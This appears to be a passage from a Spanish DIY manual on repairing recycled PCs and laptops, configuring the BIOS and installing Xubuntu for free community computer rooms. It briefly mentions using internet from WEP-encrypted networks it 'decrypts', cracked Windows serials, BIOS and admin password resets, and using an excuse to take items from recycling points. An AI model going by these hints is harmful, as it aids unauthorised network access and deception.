Sunteți pe pagina 1din 34

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.

info

Manual DIY para la creación de


espacios telemáticos de acceso
libre y gratuito v1.4

Oficina para la Liberación Definitiva de las Tecnologías

http://oldt.info

Reciclar componentes informáticos es cada vez mas sencillo: el consumo de la tecnología nos hace pensar que lo que
tenemos ya no nos sirve. Por eso se hace muy común encontrarnos equipos tirados al que le falla solo un componente o
tiene un problema muy sencillo de arreglar.

Gracias a esto, ahora es posible crear aulas de enseñanza autogestionada con acceso a internet donde se dicten talleres,
charlas, o incluso scanear documentos, imprimir o navegar. Una alternativa libre a locutorios y bibliotecas publicas.

En esta guía nos centraremos en como identificar el problema de un ordenador reciclado, arreglarlo y darle vida. Una vez que
tengamos los ordenadores listos, crearemos una red donde el acceso a internet no necesariamente debe estar contratado por
nosotros y aprenderemos a construir cables de red ethernet junto con las mejores maneras para incrementar la señal wifi. Por
ultimo, instalaremos un teléfono VOIP con llamas internacionales gratuitas y una maquina recreativa MAME.

TODO CON MATERIAL RECILADO!

OLDT Wiki
http://oldt.info

La Oficina Para la Liberación Definitiva de las Tecnologías se encarga de


la recopilación en forma de tutoriales ilustrativos con un formato wiki y fanzine
para la creación de nuevos espacios telemáticos utilizando herramientas libres y
abiertas para el uso y disfrute de quien desee usarlo.

Los siguientes tutoriales se basan principalmente en proyectos sociales creados


a partir de experiencias junto con personas con todo tipo de conocimientos.

1
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

CSOAs
http://okupatutambien.net

Los Centros Sociales Okupados Autogestionados son en su gran mayoría los sitios ideales para llevar a cabo este tipo de
proyectos. Reciclando ordenadores, configurándoles el Internet que obtenemos de alguna red abierta o con encriptacion WEP,
y acondicionando un espacio, podemos crear diferentes aulas en centros sociales donde se realizaran todo tipo de cursos: de
nivel básico orientado a usuarios de locutorios (videoconferencias, scaneo, descargar imágenes, redes sociales, tramites vía
web, etc..); también otros talleres mas avanzados (reparación de hardware, comandos básicos en linux, hackademys, etc..);

Colectivo Chupano
Los Chupanos son un grupo de personas reunidas en el Patio Maravillas
(Madrid) interesadas en la reparación y reutilización del hardware. Este
colectivo (anteriormente Sin Techo) se denominan Chupanos ya que así les
dicen a las casas provisionales hechas en bancos de plazas y otros sitios
públicos. Ubicados en la segunda planta del antiguo edificio en la calle Acuerdo,
recolectan la denominada “basura electrónica” y la reparan para darle un
nuevo uso, donándolas a movimientos sociales.

Cabina Telefónica VOIP


Entre enero del 2008 hasta enero del 2010, miembros del laboratorio informático Hamlab (Patio
Maravillas, Madrid) montamos un servicio de telefonía gratuita con llamadas internacionales y
nacionales para el uso y disfrute de quien quiera utilizarlo, ya que esta se encontraba en la calle
disponible las 24horas. Se consiguió llegar al objetivo propuesto de las 10.000 llamadas, con una
inversión total de 30 € aproximadamente.

Warchalking
Warchalking se denomina a la acción de visibilizar redes wireless en espacios públicos donde la gente utilize internet con sus
portátiles. Su nombre deriva de War (Guerra) y Chalking (tiza) ya que se suele anotar con códigos en el suelo.
Estos códigos son muy parecidos a los que utilizaban los Hobos en Estados Unidos. Las redes pueden tener encriptacion o
estar libres. Puntualmente nos vamos a centrar en la encriptacion WEP de 64 o 128 mb. Atención! Bajo ningún concepto
podremos logearnos o autentificarnos en las redes que desencrespamos. Entrar en redes ajenas es ilegal.

Mame / Consola recreativa


El proyecto consiste en montar una maquina recreativa con software libre, con su
estructura de material reciclado y mandos que se asemejan a las maquinas originales.

Se le han instalado mas de 800 juegos, con una interface gráfica desde el inicio en el que se
puede navegar a travez de screenshots.

2
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Conseguir el material
http://www.obsoletos.org/2009/04/consigue-un-ordenador-en-el-punto-limpio/

Caminando por la calle, en un punto limpio, un equipo regalado, una maquina vieja olvidada. Hay muchas maneras de
conseguir un equipo. Siempre es conveniente conseguir mas de un equipo para ir sacándole las diferentes piezas y así poder
formar (entre varios) uno que funciona.

Calle: En la gran mayoría de ciudad se hace una recogida de muebles las ultimas semanas de cada mes. Este es un buen
día para recorrer las calles, esquinas donde la gente acumule lo que tira, contenedores y volquetes. Asi mismo, cualquier día
es posible encontrarse material informático tirado por la acera. Punto Limpio: Esta opción cada vez esta mas controlada, los
vigilantes en los puntos limpios no están habilitados para dejar sacar material. Es imprescindible ir con auto con alguna
excusa (tirar aceite, muebles, etc..) En estos sitios los contenedores se dividen en material electrónico, ropa y demás, solo es
cuestión de estirar el brazo y revolver. Hacklabs: Un hacklab es un espacio creado generalmente en centros sociales donde
la gente lleva equipos en desuso a donarlos para revivirlos dándoles un nuevo uso. Si nos pasamos por alguno de estos,
seguramente tendrán material con el que podamos contar. Otros: Un equipo regalado, abandonado en un armario, lleno de
polvo, olvidado en alguna estantería Siempre hay maneras de conseguirlo!

Con un primer vistazo podemos saber con que tipo de ordenador vamos a trabajar, los problemas que puede llegar a tener y
de que manera arreglarlos para tener una maquina ideal si se le quiere dar un uso básico: navegar, utilizar ofimática,
escuchar musica o ver vídeos

Identificar el ordenador
Como conocer la antigüedad del equipo

En el caso que sea un desktop (sobremesa) chequeamos la cantidad de USBs que tiene: esta es una tecnología que se fue
desarrollando en la ultima etapa, por eso mismo mientras mas conectores USB tiene mas probable que el equipo sea
potente. Generalmente vienen entre cuatro en los PIII y seis en los últimos modelos.

Si el equipo es muy viejo (x486 para abajo) el conector del teclado sera mas gordo que el típico redondo
PS/2. Las etiquetas frontales (en el caso que sea una computadora original) nos servirán para identificar el
procesador, lo mas general es encontrarse equipos Pentium 2, Pentium 3 o AMD.

En cuanto a los laptops (portátiles) siempre es el peso lo que nos dará la pista con que equipo contaremos.
Los fallos de estos suelen recaer en la pantalla rota, teclado con piezas que le faltan, el conector de
Conector teclado electricidad que esta dañado o algo fuera de su lugar.
ordenador viejo
Arreglar estos equipos es algo mas complicado, ya que necesitaremos repuestos de la misma marca que el
ordenador o piezas difíciles de cambiar debido a su reducido tamaño. Un portátil sin pantalla también nos puede ser útil:
funcionan de servidor ssh al que conectarnos para gestionar nuestras descargas o servicios webs. Ahora nos encargaremos
de cada dispositivo individualmente para conocer los fallos mas comunes

Identificar el problema
Posibles situaciones

Conectamos el cable de power, el vga y el teclado a la torre, presionamos el botón de encendido y tenemos dos
posibilidades: que se enciendan las luces frontales o que no pase nada .

Si este es el caso, tendremos un problema ELECTRICO. También existe la posibilidad que el ordenador nos reciba con unos
cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema de la placa base o alguna de sus tarjetas, un
problema de HARDWARE. Los problemas de disco nos lo suele notificar en la primera pantalla de la BIOS pidiéndonos
presionar F1, si pasamos esta pantalla y no nos aparece ningún logo de algun OS, sera la solucion mas rapida: limpiar o
reinstalar el SISTEMA OPERATIVO.
Saber buscar la información correcta es un paso crucial para solucionar el error que no nos permite arrancar el ordenador.
Cada pieza viene con una etiqueta donde detalla el modelo y el fabricante; en el caso que no sea así debemos verificar las
letras impresas en la misma placa.

Una vez que tengamos esta información podremos buscar por internet mas datos sobre la compatibilidad del dispositivo con
nuestro sistema, o si a alguien le sucedió lo mismo y encontró la solución Para buscar en google correctamente buscaremos
primero el fabricante del hardware, junto el símbolo + y el numero o sigla del modelo seguido con alguna descripción (en
ingles hay mas resultados) del problema: driver download, device failure, fallo al inicio, etc.

3
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Hardware PC
http://es.wikipedia.org/wiki/Hardware

Hardware corresponde a todas las partes físicas y tangibles de una


computadora: sus componentes eléctricos, electrónicos, electromecánicos y
mecánicos; sus cables, gabinetes o cajas, periféricos de todo tipo y cualquier
otro elemento físico involucrado

Los componentes que nos podemos llegar a encontrar son:

1. Fuente de Electricidad
2. Ventilador / Procesador
3. Puertos / Conectores
4. Lectora CD / DVD
5. Disco Duro / Cable IDE
6. Placa Base
7. Placas Externas AGP / PCI
8. Gabinete / Speaker / Cables

Gabinete
http://es.wikipedia.org/wiki/Caja_de_computadora

El Gabinete o la Torre es el armazón del equipo que contiene los componentes del
ordenador. Estos son normalmente construidos de acero, plástico o aluminio. Su función
es la de proteger los componentes internos de la maquina

Debemos tener en cuenta el tamaño de nuestra placa base al elegir un gabinete ya que
existen dos tipos (aunque actualmente se esta usando uno que es universal): AT y ATX.

Desde la parte frontal saldrán diversos cables de colores con descripciones


que nos indicaran su función: Power SW va al botón de Encendido, Power
LED a la luz frontal junto a este botón; ReReset SW corresponde al botón de
rreset, y por ultimo HDD Led + – es el indicador led del disco duro cuando se
encuentra en funcionamiento. Estos cables van conectados a la placa base según nos
indica en el manual, o guiándonos por las indicaciones impresas junto a los conectores
donde van estos cables

La posición donde se ubica el hardware dentro de la caja puede variar, pero usualmente en las torres ATX se distribuye de la
siguiente manera:

1. Placa Base 2.Fuente Eléctrica 3.CD / DVD Rom 4.Disco Duro

4
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Placa Base
http://es.wikipedia.org/wiki/Placa_base

La placa base, placa madre, tarjeta madre o board (en inglés motherboard, mainboard) es una
tarjeta de circuito impreso a la que se conectan las demás partes de la computadora.

Los problemas con la placa base son algo difíciles de arreglar; debemos saber de electrónica y
tener un pulso muy firme para desoldar y cambiar algo que viene de fabrica. Al echarle un
vistazo a la placa base, lo que nos dará pista sobre su antigüedad aparte de la cantidad de USBs
como dijimos al principio, es el procesador y la cantidad de entradas PCI que tenga. Hay que
chequear que no haya ningún sujetador de los conectores quebrado; esto suele suceder en la
memoria y en el sujetador que tienen para conectar el procesador y el ventilador que lo
refrigera.

Dependiendo el modelo de la placa la disposición de los componentes integrados en la placa variara. Básicamente las partes
que nos interesara saber son:

5
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

1. Conector a la Fuente de Alimentación: Aquí va enchufado el conector mas grande (20 pines) de la fuente eléctrica a la
placa base. Usualmente también hay un conector cuadrado (4 pines) al otro extremo de la placa al que también deberemos
enchufar la fuente eléctrica

2. Zócalo (Slot) donde va el Procesador: Baldosa donde colocaremos el procesador. Debemos averiguar en los manuales si
nuestro procesador es compatible con la placa base. En la foto vemos el zócalo vacío, generalmente este se encuentra debajo
del disipador (parte metálica encargada de conducir la temperatura) y el fancooler (ventilador). Las sujeciones en esta
sección de la placa son muy delicadas y las podremos quebrar, debemos trabajar con sumo cuidado.

3. Pila Bios: Esta pila se encarga de guardar los datos de configuración del ordenador, así como las fechas y diversas opciones
mas del BIOs. Nos es muy útil cuando debemos acceder a la configuración inicial del ordenador y nos pide una contraseña;
quitando la pila y dejando la fuente eléctrica enchufada unos segundos se borrara todas las configuraciones y volverá todo a
por defecto.

4. Conector IDE: En esta entrada conectaremos el cable IDE (chato y gris) hacia el disco duro o la lectora de CD / DVD. Justo al
lado nos encontraremos con una entrada similar pero mas pequeña; aquí ira conectado el cable del disquette.

5. Slot Memoria: Aquí colocaremos las tarjetas de memoria. La entrada con una división en el medio es para tarjetas SIMM (en
este caso la amarilla). La entrada con una división al comienzo y otra en el medio, tarjetas DIMM. Es muy importante
asegurarse que la tarjeta esta bien colocada, ya que va en un solo sentido. En el caso de colocarla mal podremos quemar la
placa base.

6. Conector AGP: Exclusivo para Tarjeta Gráfica El conector tiene un brazo para sujetar la placa, debemos estar atentos al
quitarle mover la pestaña de sujeción

7. Entrada VGA: En el caso que la placa base tenga una tarjeta vga integrada, nos encontraremos con este conector azul. Si
queremos agregarle una tarjeta de vídeo externa, debemos deshabilitar la interna desde la BIOS

8. Puerto Paralelo: Un puerto bastante en desuso Aquí va conectada generalmente las impresoras.

9. Entrada PS2: El Verde se utiliza para el conector del ratón, el violeta que esta justo al lado para teclado. La flecha que
tienen los conectores PS2 de los periféricos nos indicara como conectarlo en la posición correcta

10. Slot PCI: Muy similar a la entrada AGP, aquí iran conectadas las demás tarjetas (audio, ethernet, usb, wifi, etc..)

11. Puerto Serie: Puerto muy antiguo en desuso En el mas pequeño se conecta el ratón con entrada rectangular, en el mas
amplio se conectan diversos dispositivos.

12. Conector USB: Uno de los mas populares, en reemplazo a los anteriores: casi todos los nuevos dispositivos van
conectados por USB

13. Entrada Audio: Donde van conectados los pines jacks de los parlantes o micrófonos

14.Puerto Ethernet / Módem: Entrada RJ45 para cableado de red ethernet y la entrada RJ11 para entrada de teléfono

Fuente de Alimentación
http://es.wikipedia.org/wiki/Fuente_de_alimentación

Una fuente de alimentación es el dispositivo que le otorga energía a los componentes electrónicos de la computadora. Aquí
conectaremos el cable de power desde afuera hacia el enchufe, y los cables de colores hacia la placa base, disco duros,
lectoras de cd/dvd, etc.

Para chequear la fuente de alimentación ATX desconectamos el cable de power, sacamos los cables que van a la placa base y
en el medio del conector divisamos los cables verde y negro [pines 14 (PS ON) y 15 (Tierra)].Agarramos un clip, lo
deformamos para que quede en forma de U y puenteamos los dos cables para que pase la corriente. Conectamos el cable de
electricidad a la fuente, si se enciende el ventilador significa que esta funcionando; caso contrario abrimos la fuente para
chequear si hay algo quemado o si el polvo no deja girar las aletas del cooler. Para cambiar la fuente debemos corroborar que
los voltajes de ambas fuentes sean las mismas, esto lo podremos ver en la etiqueta de la fuente original

6
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Disco Duro
http://es.wikipedia.org/wiki/Disco_duro

Un disco duro o disco rígido (en inglés hard disk drive) es donde se almacena la información Un dispositivo con memoria no
volátil, conserva la información aun con el ordenador apagado. Dentro de la carcasa hay una serie de platos metálicos
apilados girando a gran velocidad
Cuando un disco duro se cae o recibe un golpe en funcionamiento, el daño sera físico y la
posibilidad de arreglarlo es bastante costosa: debemos llevarlo a un laboratorio donde
cuentan con las herramientas necesarias para solucionar este tipo de fallos; cambiándole
las piezas exactas de un mismo modelo de disco rígido.

Otro punto importante a comentar son los JUMPERS. Estos son pequeños
bloquecitos de plástico que hacen de puente entre dos pines. Debemos leer la
etiqueta que lleva el hdd para saber como poner el jumper para que el disco sea
leído como MASTER (primario) o SLAVE (secundario). La etiqueta en el dorso del
disco duro nos indicara las posiciones especificas de cada HD

En el caso que no nos reconozca el disco duro, debemos verificar si el cable ATA (gris y
chato) esta en su dirección correcta. Este cable puede ir en un solo sentido, si nos fijamos
en ambos lados del conector (la parte plástica con agujeros) no son iguales: una tiene en
el medio un cuadrado de plástico para enganchar exactamente en el sentido correcto. Ojo!
Los cables antiguos no lo suelen llevar

Los problemas de partición es algo mas fácil de arreglar: tenemos la posibilidad de


formatear el disco duro completo o intentar recuperar la partición Para esto contaremos
con Hirenboots, un CD/USB autoarrancable con un entorno gráfico y uno de texto. Con el
podremos reparticionar, clonar discos, desinfectar de virus, recuperar contraseñas admin
de Windows, testear el disco con software del fabricante, etc. Herramienta muy
recomendada!

Hiren’s BootCD es un CD autónomo. Este contiene una secuencia de arranque, así puede ser útil incluso cuando
el sistema operativo primario no pueda ser iniciado. Por que el sector cero o MBR del Dico Duro no es escrito
correctamente o carece de alguno. El Hiren’s BootCD tiene una lista extensa del software.

Memoria RAM
http://es.wikipedia.org/wiki/Memoria_ram

La memoria de acceso aleatorio (en inglés: random-access memory cuyo acrónimo es


RAM) es la memoria desde donde el procesador recibe las instrucciones y guarda los
resultados. El testeo de la memoria es lo primero que ejecuta el ordenador al iniciarse,
sin la memoria el equipo no arrancara. Este nos anunciara el fallo con 1 pitido de la bios
intermitente. Debemos asegurarnos que las memorias están bien conectadas y sujetas a
los brazos que tienen enganchados a la placa base.

El fallo de una memoria es muy común; para testear ordenadores debemos tener
memorias de repuesto que sabemos con certeza que funcionan, y marcando con un
rotulador las que dan fallos. Hay que estar atento que tipo de memoria acepta nuestra
placa base y que tipo de memoria hemos conseguido. La diferencia la veremos en las
divisiones que tiene la placa en donde están las lineas doradas: si la tiene en el medio
es una SIMM, si tiene tres divisiones (una en el medio y otra casi al final) es una DIMM.
Tanto la BIOS como los LiveCD de Ubuntu tienen un memtest que nos hará un chequeo
para asegurarse que la memoria RAM esta funcionando. El proceso es lento pero al
tercer test ya sabremos en lineas generales si las memorias están operativas o no. Un método fácil es ir probando una por
una: si el equipo no da un pitido y se inicia la memoria esta en correcto estado.

7
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Microprocesador
http://es.wikipedia.org/wiki/Microprocesador

El cerebro del ordenador es algo muy poco común de cambiar, debemos estar seguros
que la placa base soporta la arquitectura del procesador que vamos a cambiar. Los
equipos viejos (PII) llevan un procesador que parecen un cartucho de Nintendo color
negro: van conectados en vertical al equipo . Los nuevos procesadores son cuadrados
del tamaño de una galletita con muchas patitas abajo (generalmente 68) Debemos
chequear si los pines de abajo no están doblados. Lo mejor para desdoblarlos es un
bolígrafo sin el tubo de tinta, meter el pin dentro del tubo de plástico y enderezarlo.
También suelen tener silicona entre el procesador y el ventilador sujeto a la base de
metal; esta se compra en tiendas de informática.

Ventilador
El ventilador (o fancooler) es el encargado de refrigerar el microprocesador. Este suele estar sobre un
disipador (una estructura de metal con rejas) quien transmite el frio al chip. También suele llevar una gota de
silicona para refrigerar mejor.

Las PC son un imán al polvo. Este es un fallo que siempre hay que verificar al abrir un equipo, los síntomas
suelen ser desde un aviso en la BIOS a que el ordenador funcione y por un sobrecalentamiento se apage. En tiendas de
informáticas venden aire comprimido y alcohol que se evapora muy útil para estos casos. Debemos desatornillarlo de la base
metálica: en el caso que removamos esta base debemos limpiarla y aplicarle la silicona; limpiamos con un cepillo de dientes
las alas y atornillamos todo nuevamente.

Conectores Tarjetas
http://es.wikipedia.org/wiki/Peripheral_Component_Interconnect

Integrado a la placa base notaremos que hay una fila de conectores blancos y uno
marrón (en la gran mayoría de las placas, aunque suele variar de color) en las que
conectaremos las diferentes tarjetas (vídeo, sonido, red, etc.).

El conector marrón se conoce como AGP. Aquí solo conectaremos las placas de
vídeo Las otras entradas, PCI, serán para las demás tarjetas.

Tarjeta de Vídeo
http://es.wikipedia.org/wiki/Tarjeta_de_video

Una tarjeta gráfica, tarjeta de vídeo, placa de vídeo o tarjeta aceleradora de


gráficos es quien se encarga de procesar las imágenes para poder verlas en el
monitor o proyector. La entrada azul de entrada se llama VGA, aunque últimamente
se esta popularizando una nueva entrada de vídeo, mas ancha y de color blanca. Esta
de denomina DVI .Por ultimo, la entrada redonda S-Video se utiliza para conectar la
tarjeta al televisor.

El fallo de la tarjeta de vídeo nos lo notificara con tres pitidos, eso


puede deberse a que este mal conectada a la placa base (suelen tener
sujeción) o que la tarjeta este fallando en si. Las placas bases a partir
del PIII suelen llevar una tarjeta de vídeo integrada, por eso si queremos agregarle
una placa externa debemos deshabilitar la interna desde la BIOS.

8
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Tarjeta de Sonido
http://es.wikipedia.org/wiki/Tarjeta_de_sonido

Una tarjeta de sonido o placa de sonido es una tarjeta de expansion (generalmente PCI) que permite la entrada y salida de
audio.

Los colores de entrada en las tarjetas de sonido generalmente se respetan: el verde para la salida de audio y
el rosa para la entrada de micrófono.

Tarjeta de Red
http://es.wikipedia.org/wiki/Tarjeta_de_red

La tarjeta de red se utiliza para interconectar los ordenadores en una red. Esta puede ser ethernet (por cable) o
wireless (inalámbrico)

El fallo de una placa de red ethernet se identifica al conectar el cable LAN al conector y las luces
naranja y verdes no se encienden. Debemos comprobar que el cable funcione y este bien
crimpeado, es muy útil probarlo en otro equipo para asegurarnos. Para chequear si tenemos una
ip asignada desde Linux debemos teclear el comando # ifconfig y comprobar si nos a dado una
dirección IP. En caso contrario, debemos hacer un # dhclient eht0

Lectora CD/DVDrom
http://es.wikipedia.org/wiki/Lectora_de_Cd-Rom#Lectora_de_CD

Una lectora es un dispositivo electrónico que permite la lectura de CD/Dvd mediante el empleo de un haz de un rayo láser.

Igual que el disco duro, las lectoras de CDS también llevan jumpers y cables IDE. Nos daremos cuenta si tenemos un fallo
físico gracias al característico ruido que hace la bandeja desencajada. En el caso que no podamos abrirla, el frontal de las
lectoras llevan un agujero muy pequeño al que si le metemos un alfiler podremos expulsar manualmente la traba de
seguridad y ver por dentro si lleva algo atascado o si esta dañada.

Disquettera
http://es.wikipedia.org/wiki/Disquette

La disquettera es una unidad lectora de estos dispositivos muy antiguos. Los denominados floppydisk (discos flexibles) eran
negros y del tamaño de una caja de cd (aunque mas finos). Luego se implemento la 3/½ de menor tamaño y mas capacidad
(1,5mb) Este es un sistema de almacenamiento en completo desuso. En el caso que lo necesitemos para bootear con un
disquette de arranque y no funcione, chequeamos que no haya metido adentro algún disquette roto (generalmente se
quedan las pestañas de metal que cubrian la cinta interior). También debemos chequear el cable: muy similar al del disco
duro y al de la lectora, de un tamaño mas reducido.

Otros
Alguno de los problemas mas comunes en los periféricos (teclado / ratón / impresora / monitor) suelen ser que se encuentran
doblados los pines de conexión al ordenador. Esto se puede chequear en el conector donde termina el cable del periférico en
cuestión y chequear que este todo recto. En caso de estar doblado, lo enderezaremos al con un bolígrafo al igual que lo
descripto en la parte del Microprocesador.

9
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Hardware Laptop
Para reparar un portátil se aplican las mismas técnicas que en el hardware del pc, aunque con menos posibilidades ya que
todos los dispositivos están integrados.

Debemos dar vuelta el portátil, quitarle los sellos de seguridad si es que los tiene,, y desatornillar con una punta con forma de
estrella los aproximadamente 6 o 7 tornillos. Si algún tornillo va en una posición especial, o tiene un tamaño diferente estará
marcado con una linea azul. El teclado en la parte delantera también puede tener tornillos. Para quitarlo debemos sujetarlo
por la parte de arriba y hacer un poco de presión para desencajarlo, siempre teniendo en cuenta que tiene un cable muy
chato y delicado conectado a la placa.

Cable eléctrico
Sucede mucho el enredarse en el cable de energía que esta conectado al portátil y dañarlo quebrándolo o
jalandolo hacia el suelo, tanto el pin como en conector. Es posible conseguir un mismo conector de otro
modelo (siempre fijándose en las etiquetas que indican el voltaje) y empalmarlo. También se puede soldar
directamente al conector en la placa base del laptop, aunque es algo mas complicado ya que debemos
poner una toma dentro del espacio donde va la clavija, y otra en el exterior sin que se toquen: un trabajo
manual que requiere mucha destresa el cual no se recomienda.

Pantalla Rota
También al caerse o al golpearse (algo muy común en los laptops) se puede romper la pantalla. Arreglarla
con los componentes que se encuentran en un hacklab es muy difícil; el repuesto tiene que ser
exactamente el mismo modelo a cambiar, y se debe separar muy delicadamente la carcasa para que no
se quiebre. Como alternativa (si el ordenador tiene salida vga externa) se le puede conectar un monitor de
sobremesa y utilizarlo como servidor de descargas o compartir archivos.

Ventilación
El sobrecalentamiento del procesador hace que el portátil emane mucho calor, y usándolo prolongadamente con el ventilador
roto puede traer daños que no tienen solución Para abrir el portátil, lo damos vuelta y como describimos anteriormente
abrimos la parte trasera para acceder al ventilador. Comprobamos que no tenga polvo y si esta bien conectado.

Botón Encendido
Los portátiles, al igual que los ordenadores de sobremesa, tienen un panel con leds y botones de encendido / reinicio / activar
wireless / etc. Este panel va conectado a la placa base, debemos asegurarnos que este haciendo contacto con sus respectivos
conectores.

Memoria
La memoria de las portátiles generalmente se localiza muy fácilmente en la parte trasera. Esto se debe
a que se debe desatornillar solo un par de tornillos para acceder a las tarjetas. Las memorias pueden
estar flojas, o quemadas. En este caso, debemos comprobar que tipo de memoria son y conseguir el
mismo tipo para que el ordenador pueda funcionar.

Teclado Roto
Este talvez sea el problema mas generalizado. Las teclas se salen y se pierden, quedando un pequeño bulto de plástico muy
incomodo de apretar. Debajo de la letra en cada tecla, hay una especie de puente blanco muy delicado formado por dos
partes: estas tienen que ir enganchadas de modo que cuando se aprieten deben volver inmediatamente a su posición
original.

10
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

BIOS
http://es.wikipedia.org/wiki/Bios

La BIOS es un software integrado en una memoria que viene en la placa base, y es donde interactuaremos al encender el
ordenador para configurar diferentes parámetros; como el orden de arranque (disco duro, lectora cd, usb o disquetera) tanto
como la fecha, opciones de seguridad, y demás configuraciones.

Teclas SUPR / DEL / F2 bios preferences: Para acceder a la BIOS ni bien arrancamos el ordenador debemos presionar la tecla
SUPR o F2, dependiendo del sistema que tenga nuestro pc. Esto lo sabremos en la pantalla negra que veremos ni bien
enciende nuestro pc

Nos abrirá una pantalla azul con letras blancas donde podremos modificar las opciones. Nos moveremos por las diferentes
configuraciones a traves de las teclas de direccion y la tecla Intro (Enter). Para salir utilizaremos la tecla Esc

Debemos tener cuidado no cambiar nada que no debeamos sin darnos cuenta. En el caso que dudemos tenemos la opcion de
salir sin guardar nada (Exit Without Saving)

Standard CMOS Features – Aqui podremos modificar lo basico: la fecha y hora del ordenador (algunos equipos viejos suelen
tener el Y2K y no deja poner el año 2000), verificar si el disco duro y la lectora de cd estan en master o slave, el modelo de
estos, la disquetera y poco mas. Tambien esta la opcion para arrancar sin teclado, util en ordenadores que se usan de server.
Para eso en la opcion Halt On le podemos seleccionar All Errors, But Keyboard para que no se detenga pidiendonos el F1 por
la falta de teclado

11
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Advanced BIOS Features - Una de las configuraciones importantes en la BIOS es la prioridad de arranque de cada dispositivo.
Esto esta en la opcion Boot Priority. Debemos leer las instrucciones del costado para saber con que teclas se puede ir
cambiando el orden (generalmente con el + y el -).

Por defecto tendria que ser el C (disco duro), si queremos iniciar desde un cd rom debemos elegir CD, en el caso de tener la
posibilidad de arrancar desde USB seleccionamos EXTRAIBLE DEVICE. Las prioridades de arranque se seleccionan en la
opcion Advanced BIOS Features o apretando F9 en algunos sistemas.

Advanced Chipset Features – Con estas configuraciones podremos overlockear el procesador: hacer que se ponga a mayor
velocidad para la que fue programado, aumentando el rendimiento y el calor que emana. Tambien podremos chequear la
temperatura y mas datos exactos del procesador en si.

Sonido de la Bios : En el momento que el ordenador detecta un fallo, dependiendo la cantidad de pitidos que salgan del
altavoz interno modelo de la BIOS, si es una Phoenix o una Award. Generalmente los pitidos son:
Uno intermitente – Fallo tarjeta de memoria
Uno corto y dos largos – Fallo tarjeta de video

Failure device / Pila / Mensajes BIOS: Tal como vimos en la seccion de la placa base, la pila del bios es necesaria para guardar
la fecha y la hora asi como varias configuraciones mas. Para cambiarla debemos averiguar que tipo de voltaje lleva la pila
original y reemplazarla por una nueva.

Esta opcion es muy util cuando la configuracion de la bios tiene contraseña. En algunos casos las pilas estan soldadas a las
placas, siempre hay unos pines muy cerca en los que haremos un puente con un destornillador (juntar con la punta los dos
pines sin doblarlos). Eso hara que todo vuelva a estar como vino de fabrica.

Actualizar BIOS: Actualizar la BIOS es un proceso riesgoso, en el caso de apagar accidentalmente el ordenador en este
proceso puede ser fatal. Para hacerlo necesitaremos una disquetera (o si la placa es nueva, nos bastara con un USB).

Descargamos la actualizacion desde el fabricante de la placa y seguimos los pasos que nos indica el fichero README.TXT

12
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Sistema Operativo
http://es.wikipedia.org/wiki/Sistema_operativo

Un Sistema operativo (SO) es un programa informático que actúa de interfaz entre los dispositivos de hardware y el usuario.
En esta guia nos centraremos en los dos con mas comunes para PC: Ubuntu y Windows XP.

Este ultimo, al ser mas popular, cuenta con una gran variedad de programas. Microsoft, (la empresa creadora) cobra cerca de
200€ la licencia original de su programa. Por eso es muy comun encontrarse con muchos ordenadores con numeros de serie
crackeados. Sin embargo, existe una alternativa a este sistema: GNU/Linux .Ubuntu es una distribucion basada en Debian
con muchas aplicaciones que nos facilitan la instalacion de programas, configuracion y una gran variedad de opciones con
codigo libre para utilizar.

Para comenzar a instalar el sistema operativo necesitamos contar con un CD o un USB de instalacion y este debe
ser booteable. Esto significa que al arrancar el ordenador inicie el dispositivo de almacenamiento y no el disco duro. Lo
primero que debemos descargar es la imagen ISO del sistema operativo. En el portal de descargas Taringa.net hay
muchisimas versiones o distribuciones de diferentes SO. Luego de descargarlo, dependiendo si vamos a utilizar un CD
deberemos quemarlo con algun programa para grabar (Nero/Brasero) o si tenemos un USB lo haremos igual que describimos
en el tutorial de Warchalking (utilizando el unetbootin)

GNU/ Linux Xubuntu


http://xubuntu.org

Ubuntu a revolucionado el mundo de linux. Cada vez es mas comun encontrarse con nuevos usuarios felices de haberse
pasado al codigo libre, donde instalarse un programa es muy sencillo ya que no se necesita de cracks ni de numeros de serie.
En esta guia nos vamos a centrar especialmente en el Xubuntu, ya que es la version para ordenadores con menos recursos.

El soporte de drivers ha sido su gran logro; una vez que tenemos instalado Ubuntu es muy raro que nos falle algun
dispositivo. Dependiendo de nuestras necesidades tenemos una version especifica, con programas ya instalados o reformas
en el entorno grafico.Cada vez son mas los programas disponibles dentro de Linux : OpenOffice para editar textos, Firefox
para navegar, o muchisimas otras opciones mas de codigo abierto.

Para instalar el sistema operativo debemos anteriormente descargarnos la imagen ISO desde la pagina (http://xubuntu.org) y
quemarla en un CD o en un USB para que arranque desde el inicio. Al bootearlo nos encontraremos una pantalla como esta:

Si nos descargamos la version de LiveCD, esto nos permitira utilizar el sistema operativo sin instalacion alguna. Muy util si
queremos probar la deteccion del hardware o si el sistema es estable en el rendimiento y proceso de programas. Una vez que
reiniciemos todo el sistema volvera a establecerse por defecto, deshaciendo las configuraciones realizadas. Para utilizar el
sistema operativo desde el ordenador le debemos pinchar al iconoI Instalar en el escritorio

Los pasos a seguir son muy faciles, dandonos a elegir el idioma, el uso horario, la configuracion del teclado y la particion de
los discos duros. Este es el momento donde le indicaremos si queremos utilizar todo el disco o haremos una division para
tener varios sistemas operativos

- Formatear todo el disco duro. Si queremos una instalación limpia de Xubuntu, elegimos esta y nos borrara todo el contenido
del disco
- Espacio libre contiguo. Se usara un trozo de espacio libre en su disco duro para instalarse, la opción más recomendable si
desea conservar su antiguo sistema operativo y/o sus datos.
- Particionamiento manual. Para usuarios avanzados, debemos saber cuanto le daremos en cada particion para configurarlo
manualmente.

13
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Una vez configurado, solo nos queda indicarle el nombre de usuario junto con la contrasena y esperar que finalize la
